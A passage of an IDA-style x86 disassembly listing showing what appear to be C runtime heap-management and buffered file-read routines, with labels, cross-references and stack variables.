		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A9C0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A9B0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27B0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A9B0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A9B0, 0
		jnz	short loc_41E9F6
		mov	off_43A9B0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A9B4, 0
		jnz	short loc_41EA1B
		mov	off_43A9B4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A9B4
		mov	[esi+4], eax
		mov	off_43A9B4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 28A06C1h
		nop


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27A0000h


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28A06C1h
		cmp	off_43C9D0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C9D0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DCFE4
		nop
		call	near ptr 27A0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A9C0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A9B4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28A06C1h
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB9D4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A9B4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A9B0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB9D4
		cmp	dword_4DB9D4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C9D0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C9D0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C9D0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A9B0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 28A085Ch
		nop
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C9D0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C9D0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DCCA0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43D030


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DCDA0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
